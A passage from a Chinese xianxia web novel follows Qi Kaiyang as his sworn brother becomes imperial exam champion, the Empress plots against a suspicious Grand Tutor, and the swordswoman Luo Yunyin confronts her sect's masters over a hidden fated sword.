  「这时候肯定不是柳霜绫。」两人相处至今,已有了默契,不该问的绝不多问。阴素凝似猜到了什么,嫣然一笑,低头提笔批阅奏章。
  齐开阳蓦然发觉,与阴素凝相处时倒和曲寒山颇多相似。许多的心照不宣,许多的秘密却彼此信任。难怪在这里会更加怀念从小长大的山村。
  近来朝中变化颇多。阴素凝的权柄越来越大,自她与皇帝密谈以来,京城的官员足足换去了一成,皆出自阴素凝之手。虽大都是五六品的官员,可在延宁宫里与重臣参议政事时,话语权不知不觉就重了许多,几至言出法随。重臣们再不敢看轻于她,只将她当做参议政事的【谋士】。
  阴素凝权柄渐重时,柯太师也与从前大为不同。往日他几乎不参与政事,只与皇帝说些让人昏昏欲睡的大道理,随后探讨长生之道。近来则越来越多地在朝堂上发表己见,于御书房与皇帝私下会见时,御书房里隔三差五就会颁下旨意。
  隐隐约约,朝堂上似有风雨欲来的味道。执掌后宫的皇后,与深得皇帝宠信的当朝太师,双方之间慢慢有了争锋相对的味道。齐开阳旁观柯国师已有好一段时日,越发觉得此人十分怪异。
  怪异的不仅柯国师,皇帝比起齐开阳刚来京城时,变化同样不少。
  初时看皇帝,齐开阳还觉心中有愧。时日一长,少年心中反而坦荡。这皇帝不似人君就罢了,更完全没个人夫的样子。这种名义上的夫妻,皇帝自己都半点不在乎,齐开阳去在乎作甚?
  他初入京城时,观皇帝身边的圣辉淡而不显,华而不实,隐隐还透出些黑气。
  几月过去,圣辉越发黯淡,奇的是黑气一同去了大半,不定睛凝神几乎瞧不出,反倒是金色圣辉中透出隐隐红气来。红光本是吉兆,可这股红光与金光交汇,又有残留的黑气晕染,怎么看都觉带着三分不详。
  齐开阳的望气之术只是粗通皮毛,且皇帝这浑浑噩噩,自甘堕落的样子看着着实让人生气。若不是阴素凝还要在朝中为后,且大宋国若亡,对她影响甚大,齐开阳看都懒得看一眼。
  大朝会上官员奏明了恩科事宜,皇帝准了,又点御笔择下吉日良辰,事关大宋国寒窗苦读学子们前途的一场大考就此拉开序幕。
  圣旨传遍诸郡县,开榜公示恩科诸多条陈与日期,限举子们日内抵达京城赶考,过时不候。
  赴京试的举子,哪还有此刻才出门的?全都早早地齐聚京城,疏通关系的,考前最后冲刺的,还有想方设法探听考题的,不一而足。除了卓亦常!
  卓亦常直到开考前一日才来到新郑城,赴礼部登记了名册,住所等。
  齐开阳暗暗担心了好些日子,得知好兄弟终于来了大喜。可一想明日就是恩科开考,还是不要去添乱为好,只得按捺下满腔话语,等恩科之后再说。如此还被阴素凝取笑了一番,说他像卓亦常的老爹差不多,简直是舔犊情深。
  于是当晚齐开阳就舔得阴素凝娇喘阵阵,呻吟不停。——这几月下来每日从阴素凝身上学习,齐开阳的床上功夫长进着实不小。
  三日文试后六日武试,中榜的学子还要参与殿试。朝堂用人之际,每一位学子的才学阴素凝都要亲自考校过。正因如此,她才敢答应齐开阳,绝不会让人徇私舞弊,暗中将无名气,无背景的卓亦常给涮掉。
  齐开阳从未觉得日子这么漫长,六日之试仿佛过了六年。阴素凝看他抓耳挠腮的,说要不派他做个监考官,去考场见一见卓亦常。齐开阳摇头拒绝,科考之事不仅是卓亦常的人生大事,亦是卓妈妈半生心血所聚。齐开阳不想给义弟一丁点的干扰。
  三日文试已过,阴素凝特地出宫去了趟礼部。奉皇帝旨意,考生交卷之后立刻封卷,考官们集中在府衙里不得外出,外人亦不得入内,直至出榜。旨意其实是阴素凝拟的,为禀公正,她自己一样不能例外。回宫之后齐开阳数度张嘴,最终忍住了没问。
  阴素凝憋了他半日,才笑嘻嘻道:「好啦好啦,你别担心了成不成?卓老爹。」
  齐开阳白了她一眼,低着头也不知道是生闷气,还是忐忑不安。怪自己先前的话说得太满,什么只需公平,卓亦常必中进士云云,搞得现下都不好开口。
  「我特意问过监考官,你那位好兄弟半日就已做完了草稿。其后不卑不亢,检查了一遍又一遍,修饰了一遍又一遍。交卷前两个时辰,在卷子上抄正。监考官见他与众不同,巡视时留意了好几回,赞不绝口。」阴素凝忍俊不禁,怕他憋坏了,将实情和盘托出。
  齐开阳长舒一口气,阴素凝又道:「榜单出来之前,卷子都要送过来,我亲自再检阅过才放榜,这下安心了没?」
  「哎呀你不早说。」齐开阳喜笑颜开,横抱阴素凝转了个圈,在她脸颊上重重亲了一口,道:「好凝儿,还是你细心。」
  阴素凝用衣袖在脸颊抹了一把。这一口亲得好重,料想留下红痕,皇后娘娘嗔道:「对你那个好兄弟可比对人家上心多了,哼,把这印子留给大臣们看。」
  「别别别。」齐开阳挤眉弄眼讨好道:「我今后一定更上心,更卖力。」
  「去。」
  自己这官儿做不做无妨,阴素凝的皇后做不做,她自己也不上心,无非是暂为栖身。可要是影响了卓亦常科举,那就不好了。
  三日文试之后便是武试。武试有校场演武与韬略两项,前后共六日。相比起文试,齐开阳对武试毫不担心。卓亦常弓马娴熟,校场武试不在话下。至于韬略,修行时小伙伴们时常玩些结阵斗法的小游戏,齐开阳从未赢过。
  九日科考紧张又一晃而过,再经半月,考官们批卷已毕,卷子被送到延宁宫。
  阴素凝逐份阅过,一卷不漏。在大朝会上经皇帝御笔钦点,这才放榜。
  今科的进士需殿前面圣,榜单只放入围进士之名,不列名次。待陛下考校之后,才揭三甲之名。齐开阳看皇帝那个昏庸的样子,撇了撇嘴,就这样的,也配考校我的好兄弟?
  金銮殿上龙涎香缭绕,群臣毕至,皇帝升殿高坐龙椅,宣本榜进士们觐见。
  齐开阳一身戎装立在金銮殿口,见新科进士们从禁宫城门外鱼贯而入。卓亦常身在文科第三位,目光平视,不卑不亢,步伐沉稳,一身浩然正气若隐若现。
  他穿过城门后微仰首先天略停片刻,似在向卓家列祖列宗祷告。
  三十余名文进士,二十余名武进士,在金銮殿的台阶前下跪山呼万岁。卓亦常远远看见齐开阳,好一阵惊喜。他年纪刚十五,为人已十分沉稳,喜不外露。
  大宋国龙凤齐至殿门前,居高而坐。大太监唱诸进士之名与文武试的成绩,皇帝兴致缺缺,唯唯尔尔,阴素凝侧耳倾听,目光从诸进士脸上一一掠过。
  卓亦常的成绩文榜第三,武试第一。文武双全,自是所有人关注的焦点。阴素凝在皇帝身边耳语几句,皇帝唤过大太监,阴素凝无奈,只得亲口对大太监而言。
  「宣卓亦常上前。」
  卓亦常出列趋前,浓眉深锁,大眼圆睁,齐开阳暗道要糟,急得直挠头。自家兄弟的脾性再清楚不过,阴素凝祸国妖后之名,卓亦常出山必有所耳闻。如今在金銮殿前亲眼目睹赤裸裸的后宫干政,可万万不要书呆子脾气发作,闹出什么祸端来。
  齐开阳连向卓亦常使眼色,可卓亦常此时聚精会神,浑然不觉。
  「陛下有旨,兵书尚书出题考校。」
  齐开阳暗松了口气,阴素凝着实聪慧。今日不得不从珠帘后走向台前,一切行径得法,果然卓亦常面色稍缓。
  兵部尚书出班,命人抬出西北边陲图,道:「蛮赵屡犯西陲,征战连年,百姓缺粮少食,朝中负担沉重。若命尔戍边五年,当以何策镇守?」
  卓亦常朗声道:「我大宋西陲河流纵横,土肥草丰,学生有三策。其一,退守阴山隘口,设坚关,多置弓弩,以车阵之法固守阴山,叫蛮赵不得越阴山半步。
  其二,阴山之内土地平整,以屯田之法,戍卒七分屯耕三分戍卫,所产粮秣半数归军半数济民,可解朝中粮秣短缺燃眉之急。其三,蛮赵难过阴山,可设易市于北境,以茶盐易良马,使边商与牧民共利。如此……」
  「大胆!」兵部侍郎出列怒斥道:「大宋国土,寸土不让,岂可拱手以献敌国耶?」
  「学生尚未说完。」卓亦常面不改色,道:「如此不出五年,边境自足,兵强马壮。麾军阴山以西,收复失地,进可兵锋直指赵都,退可稳固阴山,徐图进取。」
  言罢,卓亦常乞纸笔绘制阴山屯防图,图中标注修造的引水通渠十二条,烽火台七十余座由兵部过目,看得一些老兵官都微微颔首。
  这一答,既有治国安民之策,又有军兵韬略,果然文武双全。好兄弟大出风头,齐开阳与有荣焉,恰逢阴素凝不着痕迹地偷看过来,两人目光一对,皆有欣喜之色。
  百官嗡嗡议论间,户部又依旨出列问道:「近年天连降豪雨,河流湍急,漕运耗费连年增长,尔作何应对?」
  卓亦常略思索一番,道:「学生有两点谏言。其一,当今漕运皆为长运,河流平缓时,漕渠水面平静,长运有助于稳定漕工纤夫。但近年豪雨不断,河流湍急,学生以为,当改长运为分运。沿途多设中转粮仓,于粮仓当地雇佣漕工纤夫,效仿驿站传书之法,可大量节省人力物力。其二,学生以为,天降豪雨,河流泥沙冲入漕渠,河床抬高,不仅有溃堤之险,亦阻水流运行,当以疏浚漕渠为先。」
  这一答,阴素凝挑了挑眉毛,的确是思虑周全,面面俱到。她向大太监点了点头,卓亦常退回列席中。其余学子逐一接受考验,但都不如卓亦常惊艳。阴素凝眼珠子一转,道:「陛下,今年大恩科,臣妾想看看武进士的武艺。」
  原本至此当先亲点文进士排名,皇后既然有言,皇帝心不在焉,只点头同意。
  百官正欲随同皇帝移驾演武场,皇帝一拂衣袖道:「就在这里演吧。」
  百官大惊,禁宫之内,金銮殿前,岂有动刀兵之理?但皇帝近年来荒唐惯了,百官不敢出声。齐开阳见阶下卓亦常浓眉倒竖地出列,忙两步抢上,朝义弟一摆手,跪拜皇帝道:「陛下,臣请为校场护持。」
  「齐中郎将勇武恪责,正胜任其职。」阴素凝同样看在眼里,心中暗道:这个义弟年岁不大,脾气倒不小。儒门出身?修习【浩然正气】的?
  「准。」
  不仅是第一次跪拜皇帝,还是第一次当面听皇帝自己下旨……齐开阳不敢怠慢,来不及心中责骂,下了阶一个颜色,自有右千牛卫去准备校场演武之物。他来到卓亦常身旁低声道:「臭小子,不管你今天有多少疑团都先忍着!莫忘了卓大娘的心愿。」
  卓亦常板着脸,闻言才低头按捺下心中澎湃。兄弟俩有千言万语,齐开阳见他终于平心静气,这才安心了些。
  不一时校场布置完毕,其间皇帝催促两回,右千牛卫们来回奔跑得满头大汗。
  正欲演武,忽然空中雷声大作,片刻间豪雨倾盆。
  校场设移动靶十五只,武进士们轮流上场。卓亦常身为武科第一,压轴出场。
  武进士们并无水货之嫌,虽在豪雨之下,视线大受干扰,且箭枝射出后被雨点打偏,但并无一人一箭脱靶。但见卓亦常持三石强弓,戴一壶箭枝。箭发如连珠!
  箭枝在豪雨中激开雨幕,一根接一根穿透桐木盾。待箭雨发完,四面桐木盾上的箭孔组成上兵伐谋四字。
  掌声雷动!
  齐开阳随后抽出佩刀掷去,道:「接刀!」
  卓亦常应声飞身接过,刀光一展,刀身自左肩后翻卷而出,刀光如雪瀑倾泻,顿时将身边的雨点全数撞开。起手就是一记技惊四座的【夜战八方】!手腕翻转间挽起刀花,刀柄上的环佩叮当震如猛虎低吼,正是【猛虎跳涧】。刀光如雪,刀锋将触地时忽作"青龙出水",刀尖上挑三寸,刀刃闪过的寒芒正映着雷光一闪,逼得人目不能及。
  单刀看手,双刀看走。卓亦常虽使单刀,足下步法时而如八步赶蝉矫夭灵动,时而如虎卧山林般沉稳。一连三十余招,至收尾时一招回风拂柳,刀随身走,人似陀螺一般旋转,暴雨点滴不进。待旋转停下,刀尖倒悬指天,刀锋颤如琴弦。
  正是朝天一炷香!
  一路刀法并不出奇,人人都会,但卓亦常使来如神王之威,锐不可当。收势时又一道雷光劈下,映得刀身上的云纹如活物流动。齐开阳率先大声喝彩,他毕生精修炼体之术,但卓亦常这路刀法在他眼中,同样无懈可击。这一路刀法,甚至连皇帝看了都抚掌大笑。
  传胪官唱出一甲第一名卓亦常,皇帝御笔钦点文武经纬匾额,诸进士游街三日。特赐卓亦常麒麟服,狼毫笔,青罗伞盖为众进士之首,足显荣耀。御赐九环刀,刀鞘上书十年磨得秋水寒,一片丹心照玉环!
  红榜既出,宫中大摆宴席。皇帝被卓亦常的才学刀法震动一时,很快又心不在焉,命鸿胪寺卿主持。齐开阳在席间不好多说,只与卓亦常约定今夜再会。
  至夜间,齐开阳只身来到驿馆。新科文武状元,多少人排着队拜访,卓亦常大门紧闭,只见右千牛卫中郎将。
  兄弟重逢,不甚喜悦,说起别后之事。
  齐开阳本待从离开曲寒山说起,不想卓亦常已然知晓。原来余真君回山之后,不多时村里人人皆知。甚至猜到齐开阳与柳霜绫登对得很,人人看得出彼此之间有情,此事过后,多半已然结缘,齐开阳讷讷地不好意思。
  又问起恩师与大姐的近况,卓亦常道:「自二哥离山之后,大姐就不在村里居住,只偶尔从山里回来收拾打点,又上山去。尊师我就不知太多,近来从未见过她一面。只听山上的狌狌说过一回,尊师和大姐每三五日,都要从狌狌那里听你的事。」
  「呃……」齐开阳顿显尴尬,还好狌狌极通人性,大体不会把自己和柳霜绫亲热的事情都说出来。至于来了京城之后,皇宫里有皇气人望庇护,狌狌只知自己在其中,并不知发生了什么。
  「二哥,你怎地来了新郑?」
  齐开阳将奉皇帝所诏来到新郑,遇见阴素凝一事说起,只隐去了阴素凝无欲仙宫弟子身份,以及与他同往十万大山一行之事。
  「皇后娘娘就是素素?」卓亦常大吃一惊。他自幼读圣贤书,通晓礼法。皇后娘娘私自出宫,所为何来?
  齐开阳摆手道:「莫急,你先听我说。」
  于是又将这几月来于京中所见所闻,详述一遍。从自己听说皇后祸国,到亲眼所见皇帝的昏庸,以及朝堂上阴素凝苦苦支撑大宋国政局等等,道:「皇后娘娘的事情,我与她有约暂时不能对第三人吐露。三弟,你信二哥,娘娘不是坏人。
  有些事,你自己看一段就心知肚明。」
  卓亦常默然无言片刻,道:「今日殿前观仪,陛下的样子,好生让人担忧。」
  「当哥哥的这就要说你了,你个傻孩子。」齐开阳跳将起来,道:「收起你的书生傻气好不好?你读圣贤书,要为国效力,总得在朝堂上先站稳脚跟了再说!
  骨气是骨气,正气是正气,都没错。被轰出去了,你报效谁去?」
  「二哥教训得是。」卓亦常陪着笑脸,道:「的确要从长远计。」
  「你入世修行,今日入仕,当先学人情冷暖,将书中的知识学以致用。如若不能用,或是没机会用,学来作甚?一生报国无门,郁郁不得志的先贤还少了么?」
  「二哥,嘿嘿,你今日说的话,可跟从前大有不同。」
  「那是当然。」齐开阳感慨了一拍大腿,道:「我在朝堂只冷眼旁观,但是看朝中大臣们说话办事,所得不少。这些都是人精,你莫仗着自己的学识就瞧不起人。」
  「小弟谨记。圣贤书上亦有记载,说贪官奸,清官要比贪官更奸,否则怎么跟贪官斗?」卓亦常犹豫了片刻,道:「二哥,你是不是还有事瞒着我?」
  「怎么看出来的?」齐开阳瞪眼。
  「你我兄弟从小一起长大,心照不宣,但有隐瞒,就和往常不同。小弟虽愚钝,这点还是看得出来的。」
  「暂不好说,日后就知。嘿嘿,有点难以启齿。」齐开阳干笑道:「对了,你入朝之后,帮我看看柯太师这个人。」
  「怎么说?」
  「皇后娘娘说,他由儒门保荐入朝,即被皇帝奉为太师之尊。我几番看下来,此人投皇帝意图长生之好,一味逢迎,皇帝更加无心政事。我怀疑此人来路大有问题,若是祸国妖道,这个官儿我不做也罢,定要为百姓除害。」
  「小弟会留意。」
  「皇后娘娘见皇帝无心,大宋国现今危如累卵,已更多插手政事。三弟,我已与皇后娘娘说明,她定会想方设法,让朝中重用于你。皇后娘娘欲只手补天,三弟,你当尽心些,好为皇后分忧。」
  卓亦常狐疑道:「二哥,你待皇后娘娘会不会太过关心了些?小弟不能满口答应,许多事,小弟还待亲眼见证。」
  「因为我看满朝上下,就皇后娘娘一个真的忧心家国存亡啦。无妨,你自家看就是,我还会逼你?」齐开阳知道三弟的脾性,信心十足,又想起一事道:
  「对了,大哥呢?没听你说起大哥近况。」
  「大哥早小弟二月出山,云游梁国。梁国皇帝尊佛,听闻大哥在梁国民间传经布道,排忧解难,甚得爱戴。」
  「以大哥的修为,该当的。」齐开阳心下一宽。三兄弟一同修行着长大,如今大哥和三弟都小有所成,自己依然茫然不知前路,着实有点惭愧。
  兄弟俩一路闲聊,直到天光渐亮,齐开阳才起身告辞,道:「待天明游街,二哥为你牵马。」
  「这怎么敢?」
  「你文武双状元,文曲武曲双星下凡,我与有荣焉,哪有什么不敢的,就这么定了。好好打扮打扮,街上别丢了人。」
  齐开阳回宫之后,让阴素凝临时在名单上加了自己的名字。待天明之后,宫门大开,礼部奉圣命接中榜的进士们游街。卓亦常双状元,穿麒麟服,驾青骢马,执狼毫笔,握九环刀,青罗伞盖。齐开阳亲自为他牵马,当先环街而行。
  春风得意马蹄疾,一日看尽长安花。卓亦常本就是达官世家出身,但自幼与母亲相依为命。拜入五经先生门下后才迁入曲寒山,彼时一岁半,未见过京城风物,只在母亲口中零零散散听过许多。将那些碎片拼凑起来,再看今日的新郑城,卓亦常虽春风得意,难露笑容。
  齐开阳披甲,腰佩官刀,威风凛凛地牵马为状元郎开路。可惜卓妈妈不在新郑,未曾见到她一生心血之所系的孩儿今日风光。
  新郑城里百姓簇拥两旁,都想来看看这位新科文武状元。一见卓亦常年岁尚幼,生得浓眉大眼,文质彬彬,仪表堂堂,议论之声不断。齐开阳心中暗暗好笑,以卓亦常的人才,多半朝中的达官贵人们已在遴选出色的适龄女子,好跟他结个亲。就算卓亦常未来仕途不顺,以他的才气,都可为族中带来好名声。
  齐开阳自己生得英俊,但今日的目光大都在卓亦常身上,他丝毫不以为忤,一样喜气洋洋,仿佛坐在青骢马上的,是他自己一般。
  新郑城庞大,要绕着主街市走上一圈,加上人山人海,没有大半日下不来。
  刚转过皇城街角,维持秩序的兵丁不必皇城前的多,前方的百姓更加拥挤,进士们只得暂时停步。兵丁上前大声呼喝着隔开百姓,让开条道路,人数众多,一时有些混乱。
  齐开阳止住青骢马,不觉不耐。正想回头与卓亦常闲谈几句,忽听一声聚音成线:「喂,赖皮狗!」
  齐开阳一惊,忙循声望去,下颌差点掉到地上。只见人群之中,洛芸茵轻纱遮面,虽看不清容颜,可那曲线玲珑的身段与娴静若水的气质,还有那声赖皮狗,一望而知。再看她身边俱是普通百姓,不知为何突然孤身来到新郑。
  唤来个兵丁牵马,齐开阳挤过人群,洛芸茵见他靠近,缓缓向后退至少人之处。
  「洛姑娘,你怎么到这里来了?」
  「最近左右无事,来找你玩。」洛芸茵嘻嘻笑道:「我先去了洛城,柳姐姐还在闭关,六位前辈说你在新郑,我就找过来啦。」
  少女笑得天真无邪,齐开阳疑窦满腹。当下不是详谈处,齐开阳道:「我还要带状元郎游街,你住哪里?我晚些来找你。」
  「别呀,人这么多热闹得很,我一个人呆着多无聊。喂,你想个办法,让我混进去好不好?我当你随从怎么样?」洛芸茵玩心大起,哪里肯依。
  「这……」齐开阳在朝中见事多时,他人本就聪明,早就不是初出山时的毛头小伙。洛芸茵来得蹊跷,虽竭力掩饰装得若无其事,齐开阳哪能看不出来?当下别无他法,趁左右人不注意,齐开阳从法囊中翻出一套盔甲递给洛芸茵道:
  「跟着我别乱跑啊。」
  「知道知道,你是大将军,我是小兵,当然听你的。」洛芸茵大喜,满口答应下来,一边幻了容,一边将盔甲穿上。她身材原本就高挑修长,千牛卫是禁军,盔甲以贴身软甲为主,穿在身上半点不觉不合身。
  兵丁们隔开围观百姓,齐开阳领着洛芸茵从人群中钻出回到马队。卓亦常看二哥一人去,两人回,正在疑惑。齐开阳低声道:「【剑湖宗】洛芸茵洛仙子,【剑湖五奇】之一,听说过没有?」
  「久闻大名,如雷贯耳。」卓亦常不着痕迹地抱了抱拳。
  「小女子见过状元郎,喂,你跟状元郎很熟啊?」
  「我结义三弟。」
  「难怪大将军为状元郎牵马。」
  「你还是别说话的好。」
  「干么不准人家说话?」
  「你的声音太好听啦,一说话要露馅。」洛芸茵幻容作个大胡子,可声音甜美娇俏,无论如何粗犷不起来。京城里异人不少,好在今日人多,齐开阳令洛芸茵跟在身后遮挡视线,料想无虞。
  一声恭维的约束,洛芸茵果然乖乖闭上了嘴。这一天游街直到傍晚,百姓来了一批又一批,至此渐渐散去,诸进士回驿馆歇息。驿馆里更是群贤毕至,都是御笔钦点的恩科进士,各个前途无量,来巴结的或是结识的达官贵人不少。
  一直闹到夜深,驿馆里才安静下来。齐开阳携洛芸茵闪入卓亦常的房间,洛芸茵露出真容,令卓亦常眼前一亮。
  「闻名不如见面。」卓亦常长揖一礼,礼数甚重,一双眼睛闪烁着揶揄的光芒。
  「洛姑娘,快坐。深更半夜的不太方便,我有话问你,问完咱们走。」齐开阳砰地在长凳上坐下,道:「这是我结义三弟,你放心,他绝不会吐露半个字。」
  「干嘛那么严肃的样子,搞得人家心里怕怕的。」洛芸茵若无其事地坐下,自顾自地斟了杯茶水。
  「你怎么来新郑了?」
  「闲得发慌,来找你玩呀。不是都说过了么?我准许你带我在新郑玩一玩,还不好啊?」
  齐开阳咧嘴一笑,想起两人相识时的口角来。少女分明刁蛮,却又一副非常讲理的样子着实可爱。但他不依不饶摇了摇头,道:「你别瞒我呀,不说清楚,我怎么能放心?」
  「好嘛。人家入世云游,和柳姐姐一样。世间我又不熟,先前去了几处云山大泽,看得烦了,想起你们来。这就来看看。」
  「那……我问你,你什么时候回宗门去?」齐开阳半点都不信。洛芸茵毕竟年幼,又未经人世历练,故作自然的模样实在太过自然,自然得完全不自然,瞒不过齐开阳。
  「想回就回咯……」
  话音未了,三人一同向窗外望去。卓亦常刚欲出声,齐开阳一摆手靠近窗边,确认左右无人,打开窗门,一条窈窕人影跳了进来。
  「问来问去的干什么啊?好像你是人家洛姑娘爹爹似的,管天管地……」人影揭去面纱,正是当朝皇后。
  「学生见过皇后娘娘。」
  「你……素素姑娘?」
  卓亦常与洛芸茵一同低声惊呼。卓亦常饱读诗书,又得母亲教导严加约束,甚重朝堂君臣礼节,当即跪下施礼,又铁着脸道:「娘娘深夜出宫,大违礼法,还请速速……」
  「好啦,起来起来。你两个德性还真有点像,怪不得结拜。」阴素凝一摆手打断,大喇喇地落座道:「国家危难之际,本宫来见见你这位未来国之栋梁,有什么违礼法之言?礼法比江山社稷还重要?」
  见卓亦常还要说,阴素凝笑道:「不然,让你结义二哥去请一道圣旨,准本宫来见你怎么样?」
  齐开阳一摊手,意即这道圣旨真请得来。卓亦常这才无话可说,但面色依然铁青。
  「你真是素素姑娘啊?」得阴素凝解围,洛芸茵又惊又喜。在忘川河边时,三人聚在齐开阳金光庇佑之下。生死一线,阴素凝无暇顾及幻容,洛芸茵惊鸿一瞥,见面便即想起。看阴素凝身着宫衣,容颜秀丽,雍容大气,一时好奇地上下打量。
  「是呀,洛姑娘,我没把你当外人,但你可万万不能说出去。」
  「好。」
  阴素凝并不知今日齐开阳遇上洛芸茵,她深夜出宫为寻齐开阳与卓亦常而来。
  近窗时听见两人一问一答,各说各话混不着调,这才得知。她笑吟吟地拉着洛芸茵的手道:「新郑还是有些人情风物,洛姑娘想玩多久,就玩多久。来得早不如来得巧,洛姑娘,正好有一事请你相帮。」
  得了人情,洛芸茵心中窃喜,更不好拒绝,道:「请说。」
  「洛姑娘在儒门可就熟悉的相识?」
  「儒门?刘仲明先生与吟哦四子前辈我都相熟。」
  「那请洛姑娘修书一封,帮我打听一个人——当朝柯太师。」
  「这……」简单的事情,却让洛芸茵面露难色,竟至手足无措。
  阴素凝视若无睹,自顾自地将柯太师入朝之后种种古怪作为一一陈述,其中多有齐开阳说过。齐开阳不知的,卓亦常目露询问之意。齐开阳只点头不答,示意你入朝为官之后,自己看,自己判断。
  「妖道误国,大宋已是风雨飘摇。大宋若有差池,我这个皇后可没有什么好下场。无论为江山社稷计,还是为我自己计,妖道留不得。」阴素凝斩钉截铁,又向洛芸茵恳求道:「洛姑娘,就请你修书一封,帮我问问。若是儒门中人,或可请儒门处置。若是中间出了什么差池,我好下决断。」
  「我……我……」洛芸茵支支吾吾,挑着寒烟眉,瞪着醉星目,半晌说不出话来。
  「洛姑娘可是有什么为难?」
  「有……有的……」
  「那就请洛姑娘言明。」阴素凝好整以暇地端起茶杯抿了一口,道:「洛姑娘若果是来游山玩水,我倒可以行个方便。请洛姑娘暂时委屈,就住在我延宁宫中,冒做个侍女,有个居所,来去自如,想要去哪里玩。开阳反正没什么事,随时可以相陪。若……若不是来游山玩水,洛姑娘是洛宗主掌上明珠,万一有个什么差池,我和开阳可万万担待不起,只好恕不奉陪了。」
  只恰巧听见只言片语就能顺势而为,一箭双雕。既说明来见卓亦常之意,又逼得洛芸茵不得不明言,皇后娘娘之聪慧可见一斑,足令卓亦常刮目相看。
  「好吧,其实你们都知道些内情。」洛芸茵垂下螓首,想起旧事一时心中悲苦,美眸含泪,道:「我说与你们听,你们知晓了就好,万万不可吐露我的行踪!」
  齐开阳咧嘴一笑,果然是偷偷摸摸跑来的,难怪不肯明说,更不敢给儒门发信,闻言不由赞许地看了阴素凝一眼。再看这一屋子人,各个都有秘密不可言,心中一时怪异之极。

凡人修仙传
忘语
修仙觅长生,热血任逍遥,踏莲曳波涤剑骨,凭虚御风塑圣魂! ...

风雨无阻 / 发表于: 2025/08/08 11:33:00

第八章:剑语惊心
  十万大山里鬼修逞凶,各门派弟子均有伤损。鬼修阴法凶厉,若没有克制的宝物与功法,着实难防。
  按阴素凝所言,焚血老怪被诸天池联手围剿之后,魔修,鬼修几乎销声匿迹。
  偶有三三两两在世间作恶,翻不起多大的风浪。就连妖修都缩在万妖天,轻易不太露面,不与人仙打交道。
  魔鬼二道势微,人仙之道大昌,各宗门里原本克制邪祟与魔功的道法,宝物无用武之地。久而久之,此类法宝蒙尘,功法凋零。东天池掌权之后,为得正道大统,更需消除昔年中天池的一些痕迹,就连焚血老怪的历史都被尘封。除非各大顶级宗门的耆老名宿还记得当年热血沸腾,意气昂扬的一战与中天池的凋零。
  世上人,甚至都不知道曾有个焚血老怪为祸世间,不知道世间曾还有一座中天池。
  【剑湖五奇】闻名于世,五位年轻人天赋异禀,放在任何一家宗门都是个中翘楚。五人联袂出击,却在十万大山里吃了大亏。若不是种种缘故,甚至称得上绝佳的运气,五人均无可幸免。
  五奇中四人被阴气侵体,昏迷不醒,唯独洛芸茵安然无恙。无论年龄还是修为,五奇之中洛芸茵都是最低。五奇虽有不同的修行方法,剑湖宗功法终是一脉相承,为何洛芸茵与众不同?
  群山环绕,山脚被五座大湖连在一起。高坐云天的仙宫,像一把倒立着,剑锋直指大地的神剑。仙宫旁缭绕着的千万条五色光芒无可逼视,仿佛看一眼都会被割伤的锋锐。  洛芸茵随在母亲身后,垂首肃穆地亦步亦趋。仙宫的砖石用明亮的奇石铺就,仿佛能反射每一条光芒,一走进就让人如芒在背,冷汗直流。洛芸茵身为剑湖宗弟子,同样轻易不能踏足【剑湖宫】。——说起来,这是她出生之后第三回来到
  这里。
  洛湘瑶行入宫中近半,回头微一颔首,飞身而起。剑湖宫中央主位居中,左右各设二席,洛湘瑶落在右首的一朵青芒四射的剑莲上。
  「弟子叩见宗主。」洛芸茵盈盈下拜,心中却直打鼓。在十万大山中碎玉璇玑自行现身护主,自己就犯下了私藏神兵之罪。——剑湖宗门规,凡弟子从剑湖中取剑,无论任何一柄,都需立刻上报宗门。四位师兄虽还在昏迷中,此事绝隐瞒不住。
  少女至今并不明白母亲为何不让她将取得天命之剑一事禀报宗门,只知道母亲必然有自己的理由。
  「茵儿起来吧。」中央纯白剑莲座上的老者缓缓转身,盘膝而坐,道:「你四位师兄还在昏迷,十万大山里,究竟发生了什么事。」
  「我们遇见了一名鬼修……」洛芸茵一五一十地将进入十万大山之后的林林总总如实陈述,包括齐开阳。
  在剑湖宗五位宗主看来,道生修士之间的战斗无异于小儿相争。可洛芸茵口齿灵便,述说鬼修的邪法时更让人惊心动魄,五位宗主脸上皆有深深的忧虑。
  「茵儿,你说活人棺上有红色的锁魂咒?」
  「弟子只知是红色的咒文,是否锁魂咒并未看清。锁魂咒,是因听见楚地阁弟子风二娘言道是活人棺。」
  「黄泉灯,纸嫁衣阵,血色活人棺……」纯白剑莲上的大宗主喃喃自语片刻,长眉与目光垂落,似入了定一般不言不语。
  「有人忽然出手打晕了茵儿,我猜测有高人出手相救,又不愿照面。」四宗主凌霄子做书生装扮,面容冷峻,道:「只是……五名弟子为何仅茵儿毫发无损?」
  「或许是因为它。」洛芸茵不敢隐瞒,念动法诀,面前现出一柄碎成七瓣,每瓣碎片以金色光纹相连的宝剑来。
  「这是……【碎玉璇玑】?」五宗主张赤阳惊得一头赤色须髯虬张,动容道:
  「茵儿,此剑从何得来?」  「是弟子于执剑湖底寻得。」洛芸茵打定了主意,第一回抬起头来,与五位
  宗主对视,毅然决然道:「是弟子的天命之剑!」
  「碎玉璇玑居然藏在执剑湖底!」始终盘坐着似在睡梦之中的二宗主李玄一睁开眼来,眼中光华闪动,精光四射,似射出万道剑气。他豁然起身喝道:「茵儿,既取湖中之剑,为何不报?」
  洛芸茵心意已决,与李玄一目光对视,心胆若裂,只咬紧了牙关道:「此剑一经认主便自行藏匿,弟子听得剑中灵声,只教弟子收好不可声张。弟子不明所以,只得不报。」
  「不知天高地厚!」李玄一厉喝声如剑气冲霄,一头灰发无风自动,萁张如剑,道:「你可知此剑来头?」
  「弟子不知。弟子……」洛芸茵被无可匹敌的气势所慑,几乎喘不过气来,仍咬紧了牙关,道:「弟子只知……它是弟子的……天……天命之剑……」
  「大胆!」李玄一伸手虚抓,道:「此乃大凶之剑,交出来!」
  「二宗主,不要!」
  李玄一状似让洛芸茵主动交剑,伸手虚抓时便出手夺剑。洛芸茵只感手上一轻,本能地向回一夺。
  「放肆!」李玄一取剑不成,喝一声,指尖飞出五柱白光,缠向碎玉璇玑。
  洛芸茵大骇。刚才那一夺侥幸得手,多半是李玄一顺手,未料到她竟敢抗命。
  李玄一若非要夺剑,她无论如何保不下来。这柄宝剑得来奇特,得剑之后,只敢在母亲身边时才取出修行。
  碎玉璇玑本就内蕴剑灵,洛芸茵从一开始就能察觉得到。剑灵从不与她说话,可一人一灵之间经由精血相连,洛芸茵仍可清晰地感受到剑灵时常的戏谑,好奇与期待。少女初时不喜,可久而久之下来,却开始觉得亲切,与宝剑越发亲近。
